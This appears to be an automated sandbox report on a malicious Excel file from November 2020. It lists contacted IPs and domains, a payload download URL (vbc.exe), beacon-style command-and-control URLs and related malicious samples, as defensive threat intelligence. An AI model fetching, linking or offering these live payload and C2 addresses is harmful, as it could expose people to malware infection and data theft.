search.ipop.co.kr/favicon.ico 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

propage.beatstars.com 52.206.159.80 true false high

www.pellatrap.net 74.208.236.61 true true unknown

cna-notary.com 184.168.131.241 true true 0%, Virustotal, Browse unknown

www.8no3.com 156.235.143.6 true true 0%, Virustotal, Browse unknown

hostingbisniz.com 209.126.13.151 true true unknown

sbsfe-p11r.geo.mf0.yahoodns.net 67.195.197.25 true true unknown

shops.myshopify.com 23.227.38.74 true true unknown

xjcg168.com 102.141.201.70 true true unknown

www.xjcg168.com unknown unknown true unknown

www.thejakx.com unknown unknown true unknown

www.bestpodstudio.com unknown unknown true unknown

www.cna-notary.com unknown unknown true unknown

www.macijanie.com unknown unknown true unknown

Domains and IPs

Contacted Domains
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www.vandelayind.net unknown unknown true unknown

www.hostingbisniz.com unknown unknown true unknown

www.tennessyherb.com unknown unknown true unknown

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

192.227.129.22/vbc.exe true Avira URL Cloud: malware unknown

www.bestpodstudio.com/mz59/?
rFN0=Xrx4qn&u2M0SF6h=z/+6kJk1ZiQzz1nPj4QpXoSyzw+77qJSyU9yqVlYEeNMvKLM5SL/
kyHjrXfbl0j4G8KzAg==

true Avira URL Cloud: safe unknown

www.hostingbisniz.com/mz59/?
rFN0=Xrx4qn&u2M0SF6h=OW9WwwQcQ8ztOX5YgXZ2qNcRwznn7rmsJyX42Vrsm3RiMqRs
S0WcEJSAu/B+R53MEk5Vww==

true Avira URL Cloud: safe unknown

www.pellatrap.net/mz59/?
u2M0SF6h=DyvGskzBclCbgEHOjTp+IehUzdGnZKMlyQnRi93amGKEFkS3cbEvMjPLMaYESs
yOmM8Qkw==&rFN0=Xrx4qn

true Avira URL Cloud: safe unknown

www.tennessyherb.com/mz59/?
u2M0SF6h=DnU1EkBat3Hivgbf1+4PHnhz+o7EzLkrjQo0TNQNOtieRb0aWO5zv8QtAyN+qW2
8k6DlMA==&rFN0=Xrx4qn

true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

search.chol.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.mercadolivre.com.br/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.merlin.com.pl/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.ebay.de/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.mtv.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.rambler.ru/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.nifty.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.dailymail.co.uk/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www3.fnac.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

buscar.ya.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.yahoo.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.iis.fhg.de/audioPA explorer.exe, 00000006.0000000
0.2149115180.0000000004B50000.
00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sogou.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

asp.usatoday.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

fr.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

rover.ebay.com explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

in.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

Contacted URLs

URLs from Memory and Binaries
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img.shopzilla.com/shopzilla/shopzilla.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ebay.in/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

image.excite.co.jp/jp/favicon/lep.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

%s.com explorer.exe, 00000006.0000000
0.2160171245.000000000A330000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

low

msk.afisha.ru/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

schemas.xmlsoap.org/ws/2005/05/identity/claims/name vbc.exe, 00000004.00000002.213
2538973.0000000002421000.00000
004.00000001.sdmp

false high

busca.igbusca.com.br//app/static/images/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.rediff.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.windows.com/pctv. explorer.exe, 00000006.0000000
0.2140876935.0000000003C40000.
00000002.00000001.sdmp

false high

www.ya.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.etmall.com.tw/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

it.search.dada.net/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.naver.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.ru/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.hanafos.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

cgi.search.biglobe.ne.jp/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

https://coinmarketcap.com/api/ vbc.exe, vbc.exe, 00000005.000
00002.2171190369.0000000000F92
000.00000020.00020000.sdmp

false high

www.abril.com.br/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.daum.net/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.naver.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.msn.co.jp/results.aspx?q= explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.clarin.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

buscar.ozu.es/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

kr.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.about.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

busca.igbusca.com.br/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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www.microsofttranslator.com/BVPrev.aspx?
ref=IE8Activity

explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.ask.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.priceminister.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.cjmall.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.centrum.cz/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

suche.t-online.de/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.it/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.auction.co.kr/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.ceneo.pl/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.amazon.de/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
explorer.exe, 00000006.0000000
0.2154967477.000000000856E000.
00000004.00000001.sdmp

false high

sads.myspace.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

busca.buscape.com.br/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.pchome.com.tw/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

browse.guardian.co.uk/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

google.pchome.com.tw/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

list.taobao.com/browse/search_visual.htm?n=15&q= explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.rambler.ru/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

uk.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

espanol.search.yahoo.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.ozu.es/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

search.sify.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

openimage.interpark.com/interpark.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.yahoo.co.jp/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.ebay.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.gmarket.co.kr/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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search.nifty.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

searchresults.news.com.au/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.google.si/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.google.cz/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.soso.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.univision.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ebay.it/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

images.joins.com/ui_c/fvc_joins.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.asharqalawsat.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

busca.orange.es/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

cnweb.search.live.com/results.aspx?q= explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

auto.search.msn.com/response.asp?MT= explorer.exe, 00000006.0000000
0.2160171245.000000000A330000.
00000008.00000001.sdmp

false high

search.yahoo.co.jp explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.target.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

buscador.terra.es/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

search.orange.co.uk/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.iask.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.tesco.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

cgi.search.biglobe.ne.jp/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false Avira URL Cloud: safe unknown

search.seznam.cz/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

suche.freenet.de/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.interpark.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

search.ipop.co.kr/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

investor.msn.com/ explorer.exe, 00000006.0000000
0.2140876935.0000000003C40000.
00000002.00000001.sdmp

false high

search.espn.go.com/ explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

www.myspace.com/favicon.ico explorer.exe, 00000006.0000000
0.2160308177.000000000A3E9000.
00000008.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 323358

Start date: 26.11.2020

Start time: 21:11:49

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 9m 54s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: EME_PO.47563.xlsx

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, 
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, 
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 9

Number of new started drivers analysed: 0

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

74.208.236.61 unknown United States 8560 ONEANDONE-
ASBrauerstrasse48DE

true

102.141.201.70 unknown Seychelles 328543 sun-asnSC true

67.195.197.25 unknown United States 26101 YAHOO-3US true

192.227.129.22 unknown United States 36352 AS-COLOCROSSINGUS true

209.126.13.151 unknown United States 40021 CONTABOUS true

23.227.38.74 unknown Canada 13335 CLOUDFLARENETUS true

156.235.143.6 unknown Seychelles 134548 DXTL-
HKDXTLTseungKwanOServi
ceHK

true

184.168.131.241 unknown United States 26496 AS-26496-GO-DADDY-
COM-LLCUS

true

Contacted IPs

Public
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Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.expl.evad.winXLSX@9/6@13/8

EGA Information: Failed

HDC Information: Successful, ratio: 36.5% (good quality ratio 34.6%)
Quality average: 74.2%
Quality standard deviation: 29.7%

HCA Information: Successful, ratio: 94%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.xlsx
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings:
Exclude process from analysis (whitelisted): 
dllhost.exe, conhost.exe
TCP Packets have been reduced to 100
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size getting too big, too many NtCreateFile 
calls found.
Report size getting too big, too many 
NtEnumerateValueKey calls found.
Report size getting too big, too many 
NtQueryAttributesFile calls found.

Time Type Description

21:15:57 API Interceptor 51x Sleep call for process: EQNEDT32.EXE modified

21:15:59 API Interceptor 72x Sleep call for process: vbc.exe modified

21:16:20 API Interceptor 220x Sleep call for process: explorer.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

67.195.197.25 7OKYiP6gHy.exe Get hash malicious Browse  www.bestp
odstudio.c
om/mz59/?D
xlpdH=z/+6
kJkwZlQ3zl
rDh4QpXoSy
zw+77qJSyU
li2W5ZA+NN
v7nK+Cazy2
/hoyzn+UXL
J9fD&k2Jxt
b=fDHHbT_hY

192.227.129.22 PRODUCT INQUIRY BNQ1.xlsx Get hash malicious Browse  192.227.1
29.22/vbc.exe

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/240517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid
https://view.joesandbox.com/analysis/240595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240595/html/none?idtype=webid


P.O_ 39134.xlsx Get hash malicious Browse  192.227.1
29.22/vbc.exe

EME.39134.xlsx Get hash malicious Browse  192.227.1
29.22/vbc.exe

209.126.13.151 7OKYiP6gHy.exe Get hash malicious Browse  www.hosti
ngbisniz.c
om/mz59/?D
xlpdH=OW9W
wwQZQ7zpOH
1UiXZ2qNcR
wznn7rmsJy
PoqW3tiXRj
Mb9qVkHQSN
qCtatCKZD/
Llsl&k2Jxt
b=fDHHbT_hY

23.227.38.74 Shipping documents.xlsx Get hash malicious Browse  www.cocog
reensoil.c
om/sqe3/?c
B=oXNDcZDl
qRKH2hC5So
J7dwvXOnFb
9nMS++dxAt
rFY1wLaleq
RTsShLolmY
f7RNmK9qOo
pw==&NreT=
XJE0G4nHflj

PO98765.exe Get hash malicious Browse  www.blooc
hy.com/sbmh/?
4hLtM4=
skYwVssfaM
rhlhDh0By1
+2yNFudwvP
+0WfyEru4f
7dWeU3QH+W
h99HLFJYHh
c5Wxp3Js&n
0DXRn=xPJx
ZNG0xPz

inv.exe Get hash malicious Browse  www.nairobi-
paris.com/hko6/?r
L0=lnnZpxe
grJKzTox39
7oQ7hMdCzz
828WEhmoqe
uNRxe7x8Id
LeLrXs8Rcd
M6azEYnfsz
PY9qEDw==&
3f_X=Q2J8l
T4hKB4

EME_PO.39134.xlsx Get hash malicious Browse  www.smart
ropeoffici
al.com/mz59/?
VrGd-0=
igsD6CIxfI
dP/BmaDcqJ
Rhdi7opbp9
JZE0pffGSx
nJfYzYphWR
5FxPFRxokm
8KQT47JnMg
==&MDKtU=J
xotsl4pOvw

Shipment Document BLINV And Packing List Attached.exe Get hash malicious Browse  www.veryi
nteresthin
g.com/bg8v/?
DXIXO=Ci
+8b5yVi0Hj
eRDPketSQz
Jsjy9TvJsN
h1v2CR5lKm
1ZvVcQvafg
gDw5DTXIkk
N2hOV2&Jt7
=XPv4nH2h

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright null 2020 Page 18 of 41

https://view.joesandbox.com/analysis/240320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240320/html/none?idtype=webid
https://view.joesandbox.com/analysis/240319/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240319/html/none?idtype=webid
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241535/html/none?idtype=webid
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid


184.168.131.241 inv.exe Get hash malicious Browse  www.bitco
incandy.xy
z/hko6/?3f
_X=Q2J8lT4
hKB4&rL0=t
XOddRziBZn
yKXnXE9Kw2
rrsPuH0SCZ
GoRNpDj1av
ThKGPBCs+L
EjAOKKARNX
pDVSdN5zM8
g6w==

Payment - Swift Copy.exe Get hash malicious Browse  www.mercedes-
dieselclaims.com
/mnc/?NR0=
XnzLeNl8&-
ZU=vOGmWWe
yo6tiCd2B1
+89qezWOIY
3ON5shOccv
WZd7PNL2gK
jBNGJbs+lh
zDH6ySQETa7

EME_PO.39134.xlsx Get hash malicious Browse  www.cna-n
otary.com/mz59/?
VrGd-0=2h5hbT8
wvHGvzmy0H
BHdrVji2gh
81Syn3N+I4
+PuKAlq7cZ
qA7t6XPE7i
2q+Hmh3HpI
QwA==&MDKt
U=Jxotsl4pOvw

7OKYiP6gHy.exe Get hash malicious Browse  www.cna-n
otary.com/mz59/?
DxlpdH=2h5hbT8
1vAGrz2+4F
BHdrVji2gh
81Syn3NmYk
9TvOglr7t1
sHr82BL85h
TGCcGVEIod
g&k2Jxtb=f
DHHbT_hY

kayx.exe Get hash malicious Browse  www.jiben
entreprena
d.mobi/bg8v/?dR-
0T=B
cRzG6gD98F
nRJnM8S7gZ
qeq6OFb5sR
0iVW6Pm7cF
5yWostREqJ
tYuV2Juo62
Dzc0Jb1&Fx
l0dR=KdShEXiX

Payment Advice - Advice Ref GLV823990339.exe Get hash malicious Browse  www.crest
viewlab.co
m/gyo3/?Ez
=NAGhR2B89
7xHmSjBg9i
b6asY38nnY
4Q4yyZMB+G
j9us/EkxfP
SnFK1AIwmt
jw0HkqurxQ
u+N+g==&lh
ud=TjfdU2S

MV.KMTC JEBEL ALI_pdf.exe Get hash malicious Browse  www.carwa
shcustom.c
om/y9z/?uF
Ql=fY5jeAt
p1RdNWaxm5
n6iTAw0V/8
P2zZ8OtxyE
aiRQwZkZsJ
+cMlcko/If
BrIT9W4DRC
I&CTvp=fv1
0_lYhrxJtW6

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/241064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid
https://view.joesandbox.com/analysis/241051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241051/html/none?idtype=webid
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240517/html/none?idtype=webid
https://view.joesandbox.com/analysis/239525/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239525/html/none?idtype=webid
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238764/html/none?idtype=webid
https://view.joesandbox.com/analysis/238712/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238712/html/none?idtype=webid


PO0119-1620 LQSB 0320 Siemens.exe Get hash malicious Browse  www.fluid
artindia.c
om/sppe/?D
nadT=jX6zF
4/w1i207zk
r1riL1VOog
E6y0WgJJqD
lfpP213Kaj
KiR8CXisvG
Z1eNGgJa3L
VxH&DxlLi=2dmX

PROOF OF PAYMENT.exe Get hash malicious Browse  www.fasts
alvage.com
/mua8/?nfl
pdH=B0qyrw
ayxD8wcQG3
Qbr3RYD+R2
QNZFulkGJH
cFvF3VxCu8
MwJpoGpma0
wXvOyVIO8Q
3D&w48t=0p
Y022IXUBwLfpfP

POSH XANADU Order-SP-20-V241e.xlsx Get hash malicious Browse  www.upgra
detomaster
y.com/dtn/?
8ptdvJ=KT
0pXTAPFjE0
&lb=VKiUsA
BvcSkQZcVK
nfuC8vDN1G
6FwU6V98eO
KuQh0UKncm
K0g9i99ZES
G6mkSNKYPb
sfxw==

jrzlwOa0UC.exe Get hash malicious Browse  www.enerj
ikbilin.com/t4vo/?
Dxlpd=zukTNK
zNObihvOlN
QP8dibmkyr
3w1VW9LXTz
CAncEay1uw
CtweD+d3+n
p2U01Umj+Z
u9uG7hEQ==
&lhuh=TxlhfFN

PDF ICITIUS33BUD10307051120003475.exe Get hash malicious Browse  www.apply
withrand.c
om/iic6/?DV8TCr-
=yPIpthC5MtqHo
y4c0EHwGIh
2/j/8JQggF
FSPND+1HWd
+sJXvHNRkM
zNQskTglzx
bquBo&U0DH
6=kf50d0Dh
3Z44mV

Invoice.exe Get hash malicious Browse  www.forsy
thcourtsen
iorliving.com/rhk/?
2dtd9h=mjpP
yjuxPhk0&3
f=zT6q1JDK
fhV2EvEX8/
2jysHCuf0t
BNhQsP2Yiy
zGtHytBzTf
jT3OdZVqaO
Br+/tLjoXC
Z7lNZQ==

COMMERCIAL INVOICE BILL OF LADING DOC.exe Get hash malicious Browse  www.qubit
laboratori
es.com/o9b2/?
J484=xP
JtLXbX&u6u
4=3LGybaBE
5u/Mmrsyha
NWg7uW/vPI
NQPoFsX0YN
7a6o2wuLOq
T6PUoiZZCA
7i0eNZ3qK2

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/238678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238678/html/none?idtype=webid
https://view.joesandbox.com/analysis/238067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238067/html/none?idtype=webid
https://view.joesandbox.com/analysis/237777/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237777/html/none?idtype=webid
https://view.joesandbox.com/analysis/235495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235495/html/none?idtype=webid
https://view.joesandbox.com/analysis/234343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234343/html/none?idtype=webid
https://view.joesandbox.com/analysis/233963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/233963/html/none?idtype=webid
https://view.joesandbox.com/analysis/232863/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232863/html/none?idtype=webid


Invoice.exe Get hash malicious Browse  www.bitco
incandy.xy
z/hko6/?7n
E8Zrx=tXOd
dRziBZnyKX
nXE9Kw2rrs
PuH0SCZGoR
NpDj1avThK
GPBCs+LEjA
OKKD9kUp/t
b+4v&LXed=
XPUxDVP8Th
YHYxS0

ALPHA_PO_16201844580.exe Get hash malicious Browse  www.timbe
rlinepalle
ts.com/ihj8/?
FDHH=Cn
t+6nHyGXRU
U+110cZEsn
WWKj+9Yye+
cLBJL0AmBt
Ve9ccrmOic
j2d+yDCCaY
m3sR4n&Rl=
VtxXE

QFCPrfsJLeeYpN5.exe Get hash malicious Browse  www.outso
urcedbim.c
om/k8b/

nnnf.exe Get hash malicious Browse  www.cheap-
housekeep
ing.com/bns/?
uVg8=DF
uD2CwFEFTZ
MlFq3QqcpF
j8rgjdPttx
v8Nv7PXL+e
kRjc0K8Zw+
qc+ng0ER0q
X/SACF&R48
Hj=NtxpKjc
xbp2XFTE

iz06VVmz0l.exe Get hash malicious Browse  www.masku
pforschool
.com/d8h/?
rVOp32=b4A
uRmO5mJIYT
a03Ryq3knC
jLs8pOUSKE
ouWqDiq2O5
vgkJvPoAU5
b8ioX3ikWg
jFYnw&GV2p
=8pMx2630G
f6TGP

0VikCnzrVT.exe Get hash malicious Browse  www.enerj
ikbilin.com/t4vo/?
2db=X48HMfxH
f&-Z8=zukT
NKzNObihvO
lNQP8dibmk
yr3w1VW9LX
TzCAncEay1
uwCtweD+d3
+np2UNqlGg
wPy6uG7mXg==

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

